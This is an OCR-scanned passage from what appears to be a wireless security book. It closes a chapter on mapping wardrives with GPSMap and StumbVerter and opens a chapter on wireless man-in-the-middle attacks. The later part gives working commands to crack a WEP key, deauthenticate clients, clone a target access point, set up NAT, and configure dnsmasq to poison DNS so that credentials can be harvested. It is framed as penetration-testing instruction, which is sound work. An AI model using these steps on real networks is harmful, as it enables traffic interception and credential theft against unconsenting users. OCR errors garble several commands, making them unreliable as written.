# gpsmap -S2 -r -f <Comma Seperated List of MACS> -i -o target map.png
./*.gps

Mapping WarDrives with StumbVerter

StumbVerter (written by Michael Puchol) takes input data from NetStumbler and
plots the access points found on Microsoft MapPoint maps.

NoTE

StumbVerter is a freeware product; however, it requires Microsoft
MapPoint to function. MapPoint is a commercial product available for
approximately $250.00 to $300.00.

The current version of StumbVerter is StumbVerter 1.5 and requires Microsoft
MapPoint 2004 (www.sonar-security.com). If you have an older version of
MapPoint, you will need to download StumbVerter 1.0 Beta 5 from www.michigan-
wireless.org/tools/Stumbverter/.

NoTEe

The examples shown in this chapter utilize Microsoft MapPoint 2002 and
StumbVerter 1.0 Beta 5. The processes for installing and using
StumbVerter 1.5 with Microsoft MapPoint 2004 are the same as those
presented in this chapter.

Installing StumbVerter

After you have installed Microsoft MapPoint and downloaded the appropriate ver-
sion of StumbVerter, you need to install StumbVerter. First, extract the StumbVerter

231
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setup files contained in the zip archive that you downloaded.You can unzip the files
to an existing directory or create a new directory for the setup files (see in Figure

8.13).

Figure 8.13 Unzipping StumbVerter Files to a New Directory

[l Lacal Disk C:) -
) d-dive
-9 DELL
) Dacuments and Settings
-+{C2) Program Files
A7) Tools
) Warlrive
0T WINDOWS
) WUTemp
+-{7) Shared Documents

~ Files
£ Selected filesdfolders
& Al filesfolders in archive

" Files: l— ™ Skip older files

¥ Use folder names Help

™ Open Explorer window Extract

[ Ovenwrite existing files Cancel

Il

Next, navigate to the directory you extracted the files to. Four files should have
been extracted (see Figure 8.14).

Figure 8.14 StumbVerter Setup Files

& StumbYerter_Setup =101 x|
File Edit View Favaorites Todls  Help | 1',"
@ Back - -J - L.l: /.)Search /{~ Folders ‘ v
Address [ CAstumbverter_Setup e
Changelog txt Histary.txt
File and Folder Tasks 2 F i

Texk Document: Texk Dacument
KE KB

() Make & new folder

R
o

° Publish this Folder ko the Readme.kxt setup.exe
Web Text Document Setup Launcher
|57 Share this Folder KB Instalshield Software Corpora...

3

Other Places

e Local Disk (C2)
(2} My Documents
[ shared Documents
4 My Computer
&3ty Network Places

Details ¥
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Double-click setup.exe to begin the StumbVerter installation (see Figure 8.15).

Figure 8.15 Installation Begins

Stumb¥erter MapPoint 2002 Edition - InstallShield Wizard =

Welcome to the InstallShield Wizard for
StumbVYerter MapPoint 2002 Edition

The InstallShield(R) Wizard will install StumbVerter MapPoint
2002 Edition on your computer, To continue, click Mext,

WARNING: This program is protected by copyright law and
international treaties,

= Back. I Mexk = I Cancel |

Next, you are asked to specify a destination folder (see Figure 8.16). This is the
folder where the StumbVerter setup program installs the StumbVerter software.

Figure 8.16 Specifying the Destination Folder

i‘.§- Stumb¥erter MapPoint 2002 Edition - InstallShield Wizard

Destination Folder

Click Mext ko install to this Folder, or click Change to install to a different Folder,

G Install Skumbtterter MapPoint 2002 Edition to:

C:YProgram Files) StumbYerter MPYy Change... |

InistallShield

< Back I Mext = I Cancel |

Click Next to proceed.You are now asked to verify the installation options (see
Figure 8.17).This is your last opportunity to make changes before installation begins.
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Figure 8.17 Verifying the Installation Options

il-.%' Stumb¥erter MapPoint 2002 Edition - InstallShield Wizard

Ready to Install the Program

The wizard is ready to begin installation.

IF wou want to review or change any of your installation settings, click Back. Click Cancel ko
exit the wizard,

Current Settings:

Setup Type:

Destination Folder:
C:hProgram Files\StumbWerter MPY,

User Information:
Marne: Chris Hurley

Compary:

ImskallShield

< Back I Inskall I Cancel I

Click Install to install StumbVerter on your system. If your installation is suc-
cessful, you will see the dialog box shown in Figure 8.18.

Figure 8.18 Installation Complete

ii._w!;'n Stumb¥erter MapPoint 2002 Edition - InstallShield Wizard ﬂ

InstallShield Wizard Completed

The InstallShield Wizard has successfully installed Stumbierker
MapPoint 2002 Edition. Click Finish to exit the wizard,

= Back I Finish I Cancel

www.syngress.com



Mapping WarDrives * Chapter 8 235

Click Finish and you are ready to begin mapping your WarDrives with
StumbVerter.

Generating a Map With StumbVerter

Now that you have installed Microsoft MapPoint and StumbVerter, you are ready to
map your WarDrive. To use StumbVerter, export your NetStumbler NS1 file and
then import it to MapPoint.

Exporting NetStumbler
Files for Use with StumbVerter

To map your WarDrive with StumbVerter, export your NetStumbler NS1 file to
Summary format.

NoTE

You must have used a Global Positioning System (GPS) unit to capture
coordinates on your WarDrive in order to map it with StumbVerter. If
you do not capture coordinate information with a GPS, StumbVerter will
not have the information needed to plot the access points.

First, open the NS1 of the WarDrive you want to map (see Figure 8.19).
Next, choose File | Export | Summary (see Figure 8.20).
Choose a name and location for the Summary file (see Figure 8.21).
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Figure 8.19 NetStumbler NS1
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Figure 8.21 Exporting to Summary
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Click Save to export the Summary file. Now you are ready to import the
Summary to MapPoint using Stumb Verter.

Importing Summary
Files to MapPoint with StumbVerter

Once you have exported your NetStumbler NS1 file to Summary format, you are
ready to import it into Microsoft MapPoint using StumbVerter. First, start
StumbVerter by clicking Start | Programs | StumbVerter | StumbVerter
MapPoint 2002 Edition (see Figure 8.22).

NoTE

If you are using MapPoint 2004, your version will be different.
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Figure 8.22 Starting StumbVerter
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Next, you need to open a new map. Click Map | Create new North

America (or Create new Europe) (see Figure 8.23).

Now you need to import the Summary file you exported from NetStumbler.
Click the Import icon to open the Open dialog box. Navigate to the location of

the Summary file you want to import and select it (see Figure 8.24).
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Figure 8.23 Using StumbVerter to Open the Map
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Click Open; StumbVerter will begin importing your Summary file. A list of the
SSIDs for each of the access points with GPS coordinates is displayed in the Logged
APs: window. The SSIDs of any access points without GPS coordinates (which are

not mapped) are listed in the access points with no GPS coordinates: window.
When StumbVerter has completed the import, a text box indicates that the

import is complete (see Figure 8.25).

Figure 8.25 Import Complete
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Click OK to close the pop-up window.You now see icons representing your
access points on the map, but the map is still of the entire continent.You need to

zoom in to better view your results.

Zooming in On Your WarDrive Map

Using your mouse, create a box around the access points on the map (see Figure

8.26).
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Figure 8.26 Determining an Area to Zoom in On
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Using your mouse, click inside the box to zoom in on the selected area.
Continue creating the boxes and zooming in until you have a map that represents

your WarDrive (see Figure 8.27).

Notes from the Underground..

What Do the Icons Mean?

Each access point on a map created with StumbVerter is represented by a “radio
tower” icon. The default icons have either a red base or a green base. The icons

with the red base indicate an access point

(WEP) enabled. Access points that do not require the use of WEP are represented

by the icons with the green base.

that has Wired Equivalent Privacy
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Figure 8.27 Your First Map
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Saving Maps with StumbVerter

Now that you have imported your WarDrive into MapPoint with StumbVerter, you
need to save it so that you can view it again later. StumbVerter offers three different
formats to save your map:

®  Microsoft MapPoint .ptm
m  Hypertext Markup Language (HTML)

B Bitmap image

Maps saved in Microsoft MapPoint .ptm format can be opened later only with
Microsoft MapPoint. Maps saved in HTML format can be uploaded “as is” to a Web
server, or with a Web browser. Maps saved as bitmap images can be manipulated,
converted, and stored using most graphic editing programs.

To save your map, click the down arrow next to the Map icon, and choose the
format in which you want to save your map (see Figure 8.28).

You are prompted for the filename for your saved map. Enter a name in the File
name: text box, and click Save to save your map (see Figure 8.29).
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Figure 8.28 Saving Your Map
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Figure 8.29 Choosing a Filename for Your Map
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After you have saved your map, you are ready to go back out and WarDrive

SOome more.
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Summary

Kismet 1s a very powerful tool for WarDrivers that prefer to use Linux. Unlike some
other WarDriving programs, some configuration is required so that Kismet will work
with your system. First, if you want to log the coordinates of the access points that
you discover with Kismet, you need to install the GPSD software.

After you have installed GPSD, you have to configure the kismet.conf file to tailor
Kismet to your specific system. In the kismet.conf tile, you must specify a Set User ID
(SUID) user. This is the user that Kismet runs. This should be a normal user, not the
root account. You must also specify the type of card that you are using (Orinoco,
Prism2, Cisco, and so forth) as well as the device (eth0, eth1, wlan0, and so forth).You
can set a number of variables in the kismet.conf file that allows you to control the
WarDrive. These include the number of times per second Kismet should change or
“hop” channels, or if you want to disable channel hopping completely. The
kismet.conf also contains information about whether or not to use GPSD.

Staring Kismet is not a completely straightforward process because of the
suiduser. Since Kismet runs as a non-root user, you need to ensure that you have that
user’s environment variables and permissions, but still have the root privileges needed
to start Kismet. The easiest way to do this is to use the su command rather than the
su - command prior to starting Kismet.

To successtully WarDrive using Kismet, you need to understand the Kismet user
interface. The Kismet user interface is divided into three main parts: the Networks
Display, the Statistics Frame, and the Status Frame. The Networks Display lists all of
the wireless networks that Kismet has discovered and the current GPS position
information. The Statistics Frame displays information about the type of traffic
Kismet has captured. The Status Frame scrolls information about the networks
Kismet discovers as well as the battery status.

A typical WarDrive using Kismet is accomplished by three main steps:

1. Change to root using the su command from the suiduser account noted in
kismet.conf.

2. Start GPSD listening on the port noted in kismet.conf. By default, GPSD lis-
tens on port 2947.

3. Start Kismet
Once Kismet is started, verify that you are receiving GPS coordinates by looking

tor the GPS position information on the Networks Display on the Kismet user
interface. If you are, you can begin WarDriving using Kismet.
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Solutions Fast Track

Using GPSD with Kismet

]

N A HF

In order to use a GPS unit with Kismet, you need to install GPSD.
Download GPSD from http://www.pygps.org/gpsd/.

Uncompress and untar GPSD.

Execute the configure script, then run make and make install.

Start GPSD before starting Kismet, so that GPS coordinates are logged for
found networks.

Configuring Kismet for Mapping

]
4]

Ensure that the gps=true is selected in the kismet.conf.

Ensure that gpshost=localhost:2947 is selected in the kismet.conf.

Mapping WarDrives with GPSMap

|
]

™
|

GPSMAP i1s installed with Kismet

There are several servers you can download maps from with the -S #
switch

The -r switch creates range circle maps

The -fand -i switches allow you to filter access points to create maps of
only your target network

Mapping WarDrives Using StumbVerter

4]

4]

StumbVerter, a free program available for download from
www.michiganwireless.org/tools/Stumbverter/, allows you to import your
NetStumbler data sets into Microsoft MapPoint and generate maps.

StumbVerter is easy to install, requiring no additional setup beyond
executing the setup program.
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M Before you can import your NetStumbler data into MapPoint with
StumbVerter, you must export it to the NetStumbler Summary file format.

Frequently Asked Questions

The following Frequently Asked Questions, answered by the authors of this book,
are designed to both measure your understanding of the concepts presented in
this chapter and to assist you with real-life implementation of these concepts. To
have your questions about this chapter answered by the author, browse to
www.syngress.com/solutions and click on the “Ask the Author” form.

Q:
A:

Why should I map my WarDrives?

Mapping your WarDrives provides you with a visual representation of the data
that you collected. You can use these maps to easily determine the security pos-
ture of access points that have been deployed in the area you surveyed. Maps are
often required when performing wireless penetration testing.

. Are there any onlineymapping engines?

: Yes, WiGLE (www.wigle.net) and WiFi Maps (www.wifimaps.com) are online

mapping engines that allow you te.upload your data and generate free maps.

. Are there any other-mapping programs available for Linux?

: You can use the Java Geographic Logging Engine (JiGLE) available from

WiGLE (www.wigle.net) in.Linux, and many other UNIX-based operating sys-
tems.

: Why should I upload my data to WiGLE, since 1t doesn’t generate a custom

map?

: The WiGLE database currently holds information on over 7,000,000 unique

access points. This data can be queried to get a realistic overview of the security
posture of the wireless networks deployed worldwide. By uploading your data to
WiGLE, you help ensure that this database is as complete as possible.
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Using Man-in-the-
Middle Attacks to

Your Advantage

Solutions in this chapter:

= MITM Attack Design

m  Hardware for the Attack—
Antennas, Amps, WiFi Cards, and more

m |dentify and Compromise the Target AP
s The MITM Attack Laptop Configuration

= Clone the Target Access Point
and Begin the Attack

M Summary

M Solutions Fast Track

M Frequently Asked Questions
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Introduction

This chapter discusses the hardware required for a wireless Man-in-the-Middle
(MITM) attack and demonstrates how to:

®  Install and configure a MITM attack laptop
®m  [dentify and compromise a MITM target wireless access point (AP)

B De-authenticate wireless clients from the target AP and have them associate
to the MITM AP

B Provide a basic example of MITM attack by spoofing a Web application in
order to harvest user credentials.

What is a MITM Attack?

A MITM attack allows attackers to intercept and modify traffic to and from a wire-
less network without the wireless client knowing that the link has been compro-
mised. The main goal of this attack is to compromise user account credentials during
a wireless penetration test. The MITM attack is typically used to capture user
account information on Web-based applications, capture passwords sent in clear text,
and sniff and crack windows password hashes.

MITM Attack Design

A basic MITM attack connects a wireless client to a client’s (victim’s) access, and
then forwards the traffic to the real (authorized) AP. A typical MITM design consists
of the components shown in Figure 9.1.

The Target—AP(s)

Wireless penetration tests the security controls of wireless networks (referred to as
target wireless access points). To successfully perform a MITM attack, an attacker needs
one or more target APs, because many organizations implement hundreds of APs to
their employees.

The Victim—Wireless Client(s)

Wireless clients or the victim(s) of the MITM attack, has an initial wireless connec-
tion to the target AP. During the MITM attack we will disconnect the victim from
the target AP and have them associate to the MITM AP configured on the attack
platform.
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The MITM Attack Platform

The MITM attack platform provides access point functionality for wireless client(s)
that were originally connected to a target AP. The MITM attack platform is config-
ured with almost identical settings as the target AP, so that a client cannot tell the

difference between the attacker’s access point and the real (authorized) access point

(see Figure 9.1).

Figure 9.1 Typical MITM Design

Wireless Access Point Wireless Client
(Target) {(Victim)

Wian m ! L
1 ]
)
Wiani L

The MITM Altack Platform

MITM Attack Variables

To successfully perform a MITM attack against a wireless network, a few variables
come into play. The first variable is how the target AP is configured; specifically,
what security features are enabled on the access point to prevent unauthorized
access. Before an attack can begin, the following tasks must be accomplished:

®m  Locate one or more AP(s) with wireless clients already attached.

®m  Identify the security controls and encryption scheme enabled on the target
access point.

®m  Circumvent the security controls and associate to the target access point.
To establish connectivity and forward client traffic back to the target wireless

network, you must be able to circumvent the security controls of the target AP. If
you can’t do this, you can’t forward the client’s traftic back to the target access point.
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Hardware for the Attack—
Antennas, Amps, WiFi Cards

To successfully perform a MITM attack, you need several pieces of hardware and a
few key software programs, as shown in Figure 9.2. A typical MITM attack platform
utilizes the following hardware components:

B A laptop computer with either two Personal Computer Memory Card
International Association (PCMCIA) slots, or one PCMCIA and one mini-
Peripheral Component Interconnect (PCI) slot

B Two Wireless Network Interface Card (NIC) Cards

B An external antenna (omni-directional preferred)

® A bi-directional amplifier (optional)

® Pigtails to connect the external antennae to the amplifier and wireless NIC
® A handheld global positioning system (GPS) unit (optional)

B A power inverter

Figure 9.2 Hardware for MITM Attacks

&
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The Laptop

A laptop computer with two PC Card (PCMCIA) slots or one PCMCIA card slot
and one mini-PCI slot, is required for the two wireless network cards. The laptop
serves as a clone of the target AP and provides connectivity back to the target wire-
less network. The platform also runs a Web server to host any spoofed Web sites dis-
covered during an attack. Therefore, the laptop should be well equipped to handle
memory-intensive tasks.

Wireless Network Cards

Two wireless network cards are required for an attack platform. One wireless card
provides access point functionality for wireless client(s) (victims), and must be able to
go into Host AP mode (also known as master mode). The second wireless card pro-
vides connectivity to the target AP, and can be any 802.11 Border Gateway (B/G)
card supported by Linux

The laptop being used using for the MITM attack scenario has only one
PCMCIA slot available, so we are using one PCMCIA wireless card and one mini-
PCI wireless card. Both wireless cards are using SENAO/Engenius (Prism2.5
chipset) 802.11 b 200mw cards, which utilize Intersil’s station firmware to allow
Host AP mode. Host AP is the recommended driver for Prism2.x/3-based PCMCIA
and mini-PCI cards. During the MITM laptop configuration, we show you how to
set up the wireless card as an access point, using the Host AP drivers.

The PCMCIA wireless card is used in Host AP mode, because it has two
external female Multimedia Communications Exchange (MMCX) antenna con-
nector slots available to connect to the amplifier and antenna. The mini-PCI card has
a User Function Library (U.FL) auxiliary antenna connector; however, this card does
not need an external antenna as long as you have a good wireless signal to the target
access point.

The wireless card that will provide connectivity to the target access point is
labeled wlan0 (internal mini-PCI) (see Figure 9.3). The wireless card providing access
point functionality is labeled wilan1.
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Figure 9.3 Wireless Card Interfaces for the Attack Platform
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The Linux “Wireless LAN HOWTO" contains helpful information regarding
wireless support in Linux. Linux also have information about which cards
are Prism2-based that can be used in Host AP mode. (see
www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/Wireless.html.)

For more information on Host AP drivers and Host AP mode, visit
http://hostap.epitest.fi/.

Choosing the Right Antenna

Wireless connectivity to the target AP and the wireless client(s) is essential in order
for this attack to work. Also, you need to have a strong wireless signal broadcasting
from the Host AP access point. Therefore, choosing the right antenna is important.
There are two main types of antennas to consider for this attack: directional and omni-
directional antennas.

The directional antenna sends and receives the wireless signal in one direction.
Directional antennas are useful when you know exactly where the wireless device is
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located. For this purpose, the directional antenna isn’t a good choice, because you
want to broadcast your signal to as many clients as possible. However, if you are tar-
geting specific wireless client(s) gathered in the same general location, directional
antennas are a good option

The omni-directional antenna sends and receives the wireless signal in all direc-
tions. Again, because you may not know where a wireless client will try to connect
from, you want to use an omni-directional antenna.

Amplifying the Wireless Signal

A 2.4 Gigahertz (GHz) amplifier is designed to extend the range of a 2.4 GHz radio
device or a AP. For your purposes, the amplifier is used in conjunction with an
antenna to boost the signal of your MITM access point. The intent is for the wireless
signal access point to be stronger than the wireless signal of the target access point. A
typical amplifier has two connectors; depending on the connector type, one connec-
tion is made to the SENAOQO wireless card using a Multimedia Communications
Exchange (MMCX) to N-Male pigtail, and the other connects to the omni-direc-
tional antenna.

Figures 9.4 and 9.5 demonstrate the wireless signal of a basic access point com-
pared to the wireless signal of the MITM access point using a 9-Database Interface
(dBi) omni-directional antenna and a 1-watt amplifier.

Figure 9.4 Signal Strength of the Target Access Point Measured Using
NetStumbler
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Figure 9.5 Signal Strength of the Host AP Access Point. (For detailed informa-
tion on 2.4 GHz antennas, and Federal Communications Commission (FCC) regu-
lations, refer to Chapter 2 of this book.)

Figure 9.5 Signal Strength of Your Host AP Access Point
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If the wireless settings on our laptop are configured to automatically connect to
the Wireless Local Area Network (WLAN) named “VisitorLAN,” you would con-

nect to the access point with the stronger signal, which is the MITM access point
that we set up.

Other Useful Hardware

Some other hardware that is helpful during an attack is a DC-AC power inverter.
This allows you to power devices that may not have an automotive power supply
(e.g., a laptop or amplifier). An optional but helpful device to have during the iden-
tification phase of an attack is a GPS receiver. The GPS receiver can be used in con-

junction with Kismet and a WarDriving mapping program (e.g., GPSMap) to help
identify the location of a target access point.
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Identify and Compromise
the Target Access Point

This section describes how to identify and compromise a target access point and
establish the scenario.

Before you can mount the MITM attack, you need to identify and compromise
the target AP. As discussed previously, the need to establish connectivity to the target
AP is vital. To do this, you need to circumvent any security mechanisms enabled on
the access point.

Identity the Target

To gather preliminary data on the target, you need to go back to WarDriving basics
and gain as much information about the target as you can. Using our WarDriving
setup, do a preliminary WarDrive of the site campus. The goal is to locate one or
more APs with wireless clients already associated, and to identify any security con-
trols, encryption, and/or authentication mechanisms that are in place.

Using Kismet and an omni-directional antenna, locate a target AP with wireless
clients connected. During WarDrive, an access point was identified with the fol-
lowing information:

m  Target Network Service Set Identifier (SSID): VisitorLAN

m  Target Network Basic Service Set Identifier (BSSID):
00:13:10:1E:65:42

B Wireless Client Connected: 00:02:2D:2D:82:36
®  The Target Network Encryption: WEP
®  The Target Network IP Range: 192.168.1.0/24

You have identified a target access point; however, to perform your MITM
attack you need to connect to the access point, and to do this you need to compro-
mise the WEP key.

Compromising the Target

At this point, you can use the information you gathered during the WarDrive to
help compromise the target access point’s WEP key. To crack the WEP key, you need
to know the BSSID of the access point and the Media Access Control (MAC)
address of a wireless client already connected. Using the Aircrack-ng tools, you can
begin the attack against the VisitorLAN access point.
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Aircrack is an 802.11 WEP and WiFi Protected Access-Pre-Shared Key
(WPA-PSK) key cracking program that can recover keys once enough
data packets have been captured. Aircrack-ng is the next generation of
Aircrack and contains a lot of new features.

To use Aireplay-ng with Host AP, you need to install the Host AP
kernel patch so that the Address Resolution Protocol (ARP)-request
replay will work properly. You can obtain information about Aircrack-ng
from http://www.aircrack-ng.org.

The first step in your WEP-cracking process using the Aircrack-ng suite is to
start airodump-ng to collect WEP initialization vectors (IVs) and save them to an
output file. To start airodump-ng on the wlan0 interface and capture any IVs called
visitorlan-01.cap to an output file, use the following command:

airodump-ng -w visitorlan -c 6 wlanO

Once airodump-ng is running, open a new terminal and start aireplay-ng with
the following command:

aireplay-ng --arpreplay -b 00:13:10:1E:65:42 -m 68 -n 68 -d
ff.ff:ff:ff:££:££f -h 00:02:2D:2D:82:36 wlanO

With airodump-ng and aireplay-ng running, you need the wireless client to dis-
connect and reconnect to the target access point, which will generate an ARP
request. Using the ARP request Replay option, aireplay-ng will capture and replay
an ARP request targeted at the access point to create traffic and IVs. To use void11
to accomplish the deauthentication of the wireless client use the following
command:

voidll penetration -DD -s 00:11:50:C9:43:B6 -B 00:13:10:1E:65:42 -m 50 wlanl

As shown in Figure 9.6, aireplay-ng is using the ARP request Replay option to
capture and replay client ARP requests.
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Figure 9.6 Aireplay-ng Running
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Using the aircrack-ng visitorlan-01.cap command, attempt to crack the WEP key
using aircrack-ng and the wvisitorlan-01.capture file generated by airodump-ng (see
Figure 9.7).

Figure 9.7 Aircrack-ng Cracked the WEP Key
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dan-attack 0 é

Now you have all of the information required to connect to the target access
point and begin your MITM attack.

The MITM Attack Laptop Configuration

In this section, we you walk through the installation and configuration of the key
utilities needed for the MITM attack laptop, using Gentoo Linux.You will see some
Gentoo-specific commands and file locations, but mostly standard Linux commands.
There are many popular Linux distributions available today, and the techniques dis-
cussed throughout this section work on the majority of them.
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The Kernel Configuration

The Linux kernel is the core component that the Linux operating system is built
around. It contains many options for hardware support, utilities, and drivers. The
Linux kernel must be configured to enable support for Internet Protocol (IP) fil-
tering and Network Address Translation (NAT) (discussed in more detail later in this
chapter). Also, you need to enable the Host AP kernel drivers to get the two wireless
cards working properly.

Obtaining the Kernel Source

The kernel can be obtained directly from http://www.kernel.org, or it can be
obtained using the Linux distribution’s package management tool (on a Gentoo
system, type the emerge -a gentoo-sources command). For this section, Release
2.6.17.4 of the Linux kernel is used.

Configure and Build the Kernel

Once you have the kernel source downloaded and uncompressed, you need to con-
figure the kernel by typing:

make menuconfig

in the /usr/src/linux directory. Once you are in the kernel configuration menu, you
select the appropriate driver modules to support the hardware of our laptop.

Adding Host AP Dirivers to the Kernel

After you are finished with general kernel configurations, you need to add the Host
AP drivers. Host AP is a Linux driver for wireless cards based on Intersil’s Prism2,
Prism2.5, or Prism3 chipset, which provides 802.11b access point functionality.

NoTEe

The Host AP driver was added to version 2.6.14 of the main Linux kernel.
The driver in the kernel should be used instead of the external Host AP
driver package, because the external releases are only for older kernel
versions. You can get more information on Host AP from
http://hostap.epitest.fi/.
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The Host AP drivers are located at Device Drivers | Network Device
Support | Wireless LAN (Non-ham Radio) | Wireless LAN Drivers (Non-
hamradio) | Wireless Extensions. Because you are using a SENAO PCMCIA
card and 2 SENAO mini-PCI card (Prism?2.5), select the kernel modules shown in
Figure 9.8.

Figure 9.8 Host AP Kernel Modules
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Adding Iptables Support to the Kernel

After the Host AP drivers are enabled as kernel modules, you need to add support
for iptables, which provide IP filtering and NAT functionality (discussed later in this
chapter). The kernel options you need are located at Networking | Networking
Options | Network Packet Filtering (replaces ipchains) | Core Netfilter
Configuration. Select the Netfilter Xtables Support option (required for
ip_tables) to be built into the kernel. Next, navigate back to the Network Packet
Filtering submenu into the IP: Netfilter Configuration menu, and select the IP
Tables Support (required for filtering, MASQUERADE, and NAT), packet fil-
tering, Full NAT, and MASQUERADE target support options to be built into the
kernel, as shown in Figure 9.9.
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Figure 9.9 Enabling Iptables Support in the Kernel
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The iptables support submenu (required for filtering/
masquerading/NAT) does not appear as a kernel option unless the
Netfilter Xtables support option (required for ip_tables) has already
been enabled. To obtain more information on NAT, packet filtering, and
iptables, go to www.netfilter.org/.

After the kernel configuration is complete, you need to save the new kernel
selections by pressing the Exit button until prompted to Save. We select Yes and
make the kernel using the following commands:
make

make modules install

Next, copy the new kernel to the boot location (defined in our systems boot
loader configuration file).

p arch/i386/boot/bzlmage /boot/2.6.17.4/vmlinuz

Lastly, enable the newly created Host AP kernel modules to load upon boot. To
do this in Gentoo, add the modules to the /etc/modules.autoload.d/kernel-2.6 file using
the following commands (The mechanism used to load kernel modules upon boot
will be difterent depending on your Linux distribution.):
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echo hostap >> /etc/modules.autoload.d/kernel-2.6
echo hostap c¢s >> /etc/modules.autoload.d/kernel-2.6

echo hostap pci >> /etc/modules.autoload.d/kernel-2.6

If you don’t want these modules to load upon boot, you can skip the previous
step and manually insert the kernel driver modules when needed, using the fol-
lowing commands:

modprobe hostap
modprobe hostap cs

modprobe hostap pci

Setting Up the Wireless Interfaces

Following the installation of the wireless card drivers, you can define how your
wireless interfaces configured. In the “Identify and Compromise the Target” section
of this chapter, you located a target access point and then compromised it. Now that
you have the necessary information regarding the target AP, you need to configure
the wireless network interfaces to provide the appropriate connectivity.

wlan0 - Connecting to the Target Network

In the example, the wireless interface wlanO is the internal mini-PCI card, which
provides the connection to the target wireless network. Using a series of commands,
you can set up the wireless connection to connect to the target access point:

ifconfig wlan0 down

iwconfig wlan0 mode Managed ap 00:13:10:1E:65:42
iwconfig wlan0 key 6D617474686577303232333036
ifconfig wlanO up

dhcpcd wlanO

wlanl - Setting up the AP

The second wireless card (i.e., wlan1) is the PCMCIA SENAO card, which acts as
the Host AP access point. Configure the wlan1 interface to be an access point using
the following commands:

ifconfig wlanl down

iwconfig wlanl mode Master essid VisitorLAN
iwconfig wlanl key 6D617474686577303232333036
ifconfig wlanl 192.168.10.1 netmask 255.255.255.0
ifconfig wlanl up

261

www.syngress.com



262 Chapter 9 * Using Man-in-the-Middle Attacks to Your Advantage

At this point, the MITM access point is configured on the wlanl interface using
the same settings as the target AP. If you need to reboot or reconfigure the network
cards, you can add the aforementioned commands to a shell script.

NoTEe

Gentoo’s /etc/config.d/wireless File

In Gentoo, you can add the wireless network card configuration to
the /etc/config.d/wireless file. First you need to create the init.d
net.wlanX interfaces with the following commands:

In -sn /etc/init.d/net.lo /etc/init.d/net.wlan0
In —sn /etc/init.d/net.lo /etc/init.d/net.wlan1
The /etc/config.d/ wireless file should contain the interface definitions
for wlan0 and wlan1:
mac_essid_wlan0="00:13:10:1E:65:42"
modules_wlan0=( “iwconfig” )
ifconfig_wlan0=( “dhcp” )
mode_wlan0="Managed"”
channel_wlan0="6"
key_VisitorLAN="6D617474686577303232333036"

modules_wlan1=( “iwconfig"” )
ifconfig_wlan1=( “192.168.10.1 netmask 255.255.255.0" )
mode_wlan1="Master”
essid_wlan1="VisitorLAN"

channel_wlan1="6"
key_VisitorLAN="6D617474686577303232333036"

Once this file is defined, you can start, stop, or restart either inter-
face with the following commands:

/etc/init.d/net.wlan0 start
/etc/init.d/net.wlan1 start

IP Forwarding and NAT Using Iptables

Subsequent to the installation and configuration of your two wireless network inter-
faces, you need to enable IP Forwarding and NAT, ultimately creating a wireless
router/gateway. [P Forwarding provides the ability to have both wireless interfaces
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communicate and pass traffic to each other. NAT allows us to translate the IP
addresses used on one network (wlan0-192.168.1.x) to an IP address on another
network (wlan1-192.168.10.x). On the MITM attack laptop, the network associated
to the wlan1 interface is the internal network, and the network associated to the
wlan0 interface is the outside network. When a client from the internal network
(wlan1) connects to an IP located in the outside network (wlan0) the destination
addresses are updated as they pass through the attack system.

Installing Iptables and IP Forwarding

Iptables is the command-line program used to configure the packet filtering rule sets
and NAT. In the kernel configuration section, you enabled the ip_tables modules to
add support for the kernel drivers; now, you need to install the iptables’ firewall and
NAT configuration tool (the source code can be downloaded from
www.netfilter.org/) and install it using the following command:

make && make install

NoTE

The standard method for compiling and installing Linux programs from
source code is to download and uncompress the program installation
file, and issue the following commands:

.Jconfigure
make
make install

Refer to the README file in the program source code installation files
for specific installation options. Unless otherwise noted, when | say com-
pile and install from source code, | am referring to these three steps.

From a Gentoo system, install iptables with the following command:
emerge -a net-firewall/iptables

After the installation is complete, start the iptables service using the following
command:
/etc/init.d/iptables start

Next, enable IP Forwarding by editing the /etc/sysctl.conf file and changing the
net.pv4.ip_forward variable from 0 to 1, as shown in Figure 9.10.
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Figure 9.10 Shows the /etc/sysctl.conf file with IP Forewarding Enabled
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# fetc/sysctl.conf 5
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# For more information on how this file works, please see
# the manpages sysctl(8] and sysctl.conf(S).
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# enable 'Sysctl support' in the kernel.
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# Look in /proc/sys/ for all the things you can setup.

H

# Disables packet forwarding

Het .ipvd.ip forward = 1

# Disables IP dynaddr

#net ipvd.ip_dynaddr = ©

# Disable ECM

#net . ipvd.tcp_ecn = 0

# Enables source route verification
net.ipvd.conf.default.rp_filter = 1
# Enable reverse path
net.ipvd.conf.all.rp_filter = 1

# Disable source route
#net ipv4. conf.all accept_source_route = 0
"fetc/sysctl. conf" [converted] 4BL, 1267C 13,1 Top

<1

Establishing the NAT Rules

Now that you have your iptables installed and IP Forwarding enabled on the system,
you need to establish some rules. As discussed previously, your access point can be
configured on the wlan1 interface and your connection to the real wireless network
can be on wlan0. Using the example from the “Identifying and Compromising the
Target” section, establish your NAT rules accordingly(see Figure 9.11).You know the
I[P address of the target access point is 192.168.1.0/24, and you established your IP
address to be on the 192.168.10.0/24 network. The following commands define
your NAT rules.

Flush the current rules:

iptables -F
iptables -t nat -F

Add the rules for NAT:

iptables -A FORWARD -i wlan0O -s 192.168.1.0/255.255.255.0 -j ACCEPT
iptables -A FORWARD -i wlanl -s 192.168.10.0/255.255.255.0 -3j ACCEPT
iptables -t nat -A POSTROUTING -o wlanO -j MASQUERADE

After the rules have been defined, save them (they will be enabled upon boot)
with the following command:

/etc/init.d/iptables save
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Figure 9.11 Establishing Iptable NAT Rules
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Dnsmasq is a lightweight, easily configured Domain Name System (DNS) forwarder
and Dynamic Host Configuration Protocol (DHCP) server. Dnsmasq serves two
important functions on your attack platform: provides IP addresses to the wireless
clients connecting to your access point, and gives us the ability to monitor and
poison DNS queries. This tool is very useful when redirecting the DNS requests for
Web applications to your spoofed Web server.

Installing Dnsmasq

To install Dsnmasq, you can use the package management tool used in our Linux
distribution or you can download and install Dnsmasq from the source code.
Dnsmasq can be obtained from http://www.thekelleys.org.uk/dnsmasq.

From a Gentoo system, install Dnsmasq with the following command:

emerge -a net-dns/dnsmasqg
After the installation is complete, start the Dnsmasq service using the following
command:

/etc/init.d/dnsmasqg start

Configuring Dnsmasq

Configuring Dnsmasq is reasonably simple. The program has many options, but you
only need to edit a few lines to get up and running. Edit the Dnsmasq configuration
file located at /etc/dnsmasq.conf:
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If you want dnsmasg to listen for DHCP and DNS requests only on
specified interfaces (and the loopback) give the name of the

interface (eg eth0) here.

H*+ HF H H*

Repeat the line for more than one interface.

interface=wlanl

